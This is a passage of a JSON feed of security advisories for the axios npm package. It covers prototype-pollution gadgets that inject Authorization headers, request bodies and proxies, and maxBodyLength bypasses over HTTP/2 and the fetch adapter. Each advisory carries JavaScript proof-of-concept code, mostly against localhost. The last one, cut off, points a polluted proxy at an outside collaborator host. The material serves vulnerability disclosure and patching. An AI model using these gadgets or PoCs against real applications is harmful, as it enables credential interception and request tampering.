authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n  const urlRewritten = response.data.url === '/demo?polluted=1';\n\n  if (authLeaked \u0026\u0026 urlRewritten) {\n    console.log(\n      'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n        'Object.prototype values into the outbound request.'\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n    console.log('  authLeaked   =', authLeaked);\n    console.log('  urlRewritten =', urlRewritten);\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // Restore Object.prototype so a noisy exit/process state cannot affect\n  // anything else accidentally sharing the runtime.\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n\u003cdetails\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:37:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-7q8q-rj6j-mhjq"],"source_kind":"github","identifiers":["GHSA-7q8q-rj6j-mhjq"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-08-28T13:00:55.310Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.8.0, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI","url":"https://github.com/advisories/GHSA-mwf2-3pr3-8698","title":"Axios: HTTP/2 streamed uploads bypass `maxBodyLength`","description":"## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios \u003e=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from 'node:http2';\nimport {Readable} from 'node:stream';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on('stream', (stream) =\u003e {\n  let received = 0;\n\n  stream.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n\n  stream.on('end', () =\u003e {\n    stream.respond({':status': 200, 'content-type': 'application/json'});\n    stream.end(JSON.stringify({received, limit: LIMIT}));\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\n\nfunction makeBody(total) {\n  const chunk = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = total;\n\n  return new Readable({\n    read() {\n      if (remaining \u003c= 0) {\n        this.push(null);\n        return;\n      }\n\n      const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    }\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${server.address().port}/upload`,\n    makeBody(PAYLOAD_BYTES),\n    {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      headers: {'content-type': 'application/octet-stream'}\n    }\n  );\n\n  console.log(response.data);\n  // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n  server.close();\n}\n```\n\n## Workarounds\n\nFor `axios \u003e=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n      if (isHttp2) {\n        transport = http2Transport;\n      } else {\n        const configTransport = own('transport');\n        if (configTransport) {\n          transport = configTransport;\n        } else if (config.maxRedirects === 0) {\n          transport = isHttpsRequest ? https : http;\n          isNativeTransport = true;\n        } else {\n          if (config.maxRedirects) {\n            options.maxRedirects = config.maxRedirects;\n          }\n          const configBeforeRedirect = own('beforeRedirect');\n          if (configBeforeRedirect) {\n            options.beforeRedirects.config = configBeforeRedirect;\n          }\n          transport = isHttpsRequest ? httpsFollow : httpFollow;\n        }\n      }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n      if (config.maxBodyLength \u003e -1) {\n        options.maxBodyLength = config.maxBodyLength;\n      } else {\n        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n        options.maxBodyLength = Infinity;\n      }\n```\n…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n        // Enforce maxBodyLength for streamed uploads on the native http/https\n        // transport (maxRedirects === 0); follow-redirects enforces it on the\n        // other path.\n        let uploadStream = data;\n        if (config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0) {\n          const limit = config.maxBodyLength;\n          let bytesSent = 0;\n          uploadStream = stream.pipeline(\n            [\n              data,\n              new stream.Transform({\n                transform(chunk, _enc, cb) {\n                  bytesSent += chunk.length;\n                  if (bytesSent \u003e limit) {\n                    return cb(\n                      new AxiosError(\n                        'Request body larger than maxBodyLength limit',\n                        AxiosError.ERR_BAD_REQUEST,\n                        config,\n                        req\n                      )\n                    );\n                  }\n                  cb(null, chunk);\n                },\n              }),\n            ],\n            utils.noop\n          );\n          uploadStream.on('error', (err) =\u003e {\n            if (!req.destroyed) req.destroy(err);\n          });\n        }\n        uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from 'node:http2';\nimport { Readable } from 'node:stream';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on('stream', (stream, _headers) =\u003e {\n  let received = 0;\n  stream.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n  stream.on('end', () =\u003e {\n    stream.respond({\n      ':status': 200,\n      'content-type': 'application/json',\n    });\n    stream.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  stream.on('error', () =\u003e {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n  const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = totalBytes;\n  return new Readable({\n    read() {\n      if (remaining \u003c= 0) {\n        this.push(null);\n        return;\n      }\n      const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      // We intentionally do NOT set maxRedirects: 0 — that flag activates the\n      // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n      // HTTP/2 transport path skips that wrapper entirely.\n      headers: { 'content-type': 'application/octet-stream' },\n      // Omit content-length so the body is streamed without a known length.\n    });\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err \u0026\u0026 (err.code || err.message) };\n  }\n\n  console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');\n  console.log('axios result:', JSON.stringify(result));\n\n  const ok =\n    result \u0026\u0026\n    result.status === 200 \u0026\u0026\n    result.data \u0026\u0026\n    typeof result.data === 'object' \u0026\u0026\n    result.data.received === PAYLOAD_BYTES \u0026\u0026\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // http2 sessions cached by axios may keep the event loop alive; force exit\n  // after the assertion so the script returns instead of idling on TCP keep-alive.\n  setImmediate(() =\u003e process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:37:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","references":["https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-mwf2-3pr3-8698"],"source_kind":"github","identifiers":["GHSA-mwf2-3pr3-8698"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-08-28T13:00:55.311Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH","url":"https://github.com/advisories/GHSA-jqh4-m9w3-8hp9","title":"Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`","description":"## Summary\n\naxios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n  req.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n  req.on('end', () =\u003e {\n    res.writeHead(200, { 'content-type': 'application/json' });\n    res.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n  const chunk = new Uint8Array(64 * 1024).fill(0x42);\n  let remaining = totalBytes;\n\n  return new ReadableStream({\n    pull(controller) {\n      if (remaining \u003c= 0) {\n        controller.close();\n        return;\n      }\n\n      const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      controller.enqueue(next);\n    },\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${port}/upload`,\n    makeReadableStream(PAYLOAD_BYTES),\n    {\n      adapter: 'fetch',\n      maxBodyLength: LIMIT,\n      headers: { 'content-type': 'application/octet-stream' },\n    }\n  );\n\n  console.log(response.data);\n} finally {\n  server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n  const getBodyLength = async (body) =\u003e {\n    if (body == null) {\n      return 0;\n    }\n    if (utils.isBlob(body)) {\n      return body.size;\n    }\n    if (utils.isSpecCompliantForm(body)) {\n      const _request = new Request(platform.origin, {\n        method: 'POST',\n        body,\n      });\n      return (await _request.arrayBuffer()).byteLength;\n    }\n    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n      return body.byteLength;\n    }\n    if (utils.isURLSearchParams(body)) {\n      body = body + '';\n    }\n    if (utils.isString(body)) {\n      return (await encodeText(body)).byteLength;\n    }\n  };\n  const resolveBodyLength = async (headers, body) =\u003e {\n    const length = utils.toFiniteNumber(headers.getContentLength());\n    return length == null ? getBodyLength(body) : length;\n  };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n      // Enforce maxBodyLength against the outbound request body before dispatch.\n      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than\n      // maxBodyLength limit'). Skip when the body length cannot be determined\n      // (e.g. a live ReadableStream supplied by the caller).\n      if (hasMaxBodyLength \u0026\u0026 method !== 'get' \u0026\u0026 method !== 'head') {\n        const outboundLength = await resolveBodyLength(headers, data);\n        if (\n          typeof outboundLength === 'number' \u0026\u0026\n          isFinite(outboundLength) \u0026\u0026\n          outboundLength \u003e maxBodyLength\n        ) {\n          throw new AxiosError(\n            'Request body larger than maxBodyLength limit',\n            AxiosError.ERR_BAD_REQUEST,\n            config,\n            request\n          );\n        }\n      }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n        if (_request.body) {\n          const [onProgress, flush] = progressEventDecorator(\n            requestContentLength,\n            progressEventReducer(asyncDecorator(onUploadProgress))\n          );\n          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n        }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n  req.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n  req.on('end', () =\u003e {\n    res.writeHead(200, { 'content-type': 'application/json' });\n    res.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  req.on('error', () =\u003e {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n  let remaining = totalBytes;\n  return new ReadableStream({\n    pull(controller) {\n      if (remaining \u003c= 0) {\n        controller.close();\n        return;\n      }\n      const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      controller.enqueue(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(\n      `http://127.0.0.1:${port}/upload`,\n      makeReadableStream(PAYLOAD_BYTES),\n      {\n        adapter: 'fetch',\n        maxBodyLength: LIMIT,\n        headers: { 'content-type': 'application/octet-stream' },\n        // No content-length: the stream's total length is unknown ahead of\n        // dispatch, which is exactly the vulnerable code path.\n      }\n    );\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err \u0026\u0026 (err.code || err.message) };\n  }\n\n  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');\n  console.log('axios result:', JSON.stringify(result));\n\n  const ok =\n    result \u0026\u0026\n    result.status === 200 \u0026\u0026\n    result.data \u0026\u0026\n    typeof result.data === 'object' \u0026\u0026\n    result.data.received === PAYLOAD_BYTES \u0026\u0026\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime's network stack and against upstream peers.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:27:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","references":["https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-jqh4-m9w3-8hp9"],"source_kind":"github","identifiers":["GHSA-jqh4-m9w3-8hp9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-08-28T13:00:55.311Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG","url":"https://github.com/advisories/GHSA-mmx7-hfxf-jppx","title":"Axios: Prototype pollution gadgets can alter axios request construction","description":"## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n\n  req.on('data', chunk =\u003e {\n    body += chunk;\n  });\n\n  req.on('end', () =\u003e {\n    res.writeHead(200, {'content-type': 'application/json'});\n    res.end(JSON.stringify({body, headers: req.headers}));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n  console.log(res.data.body); // \"INJECTED\"\n  console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n  delete Object.prototype.data;\n  await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted  function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 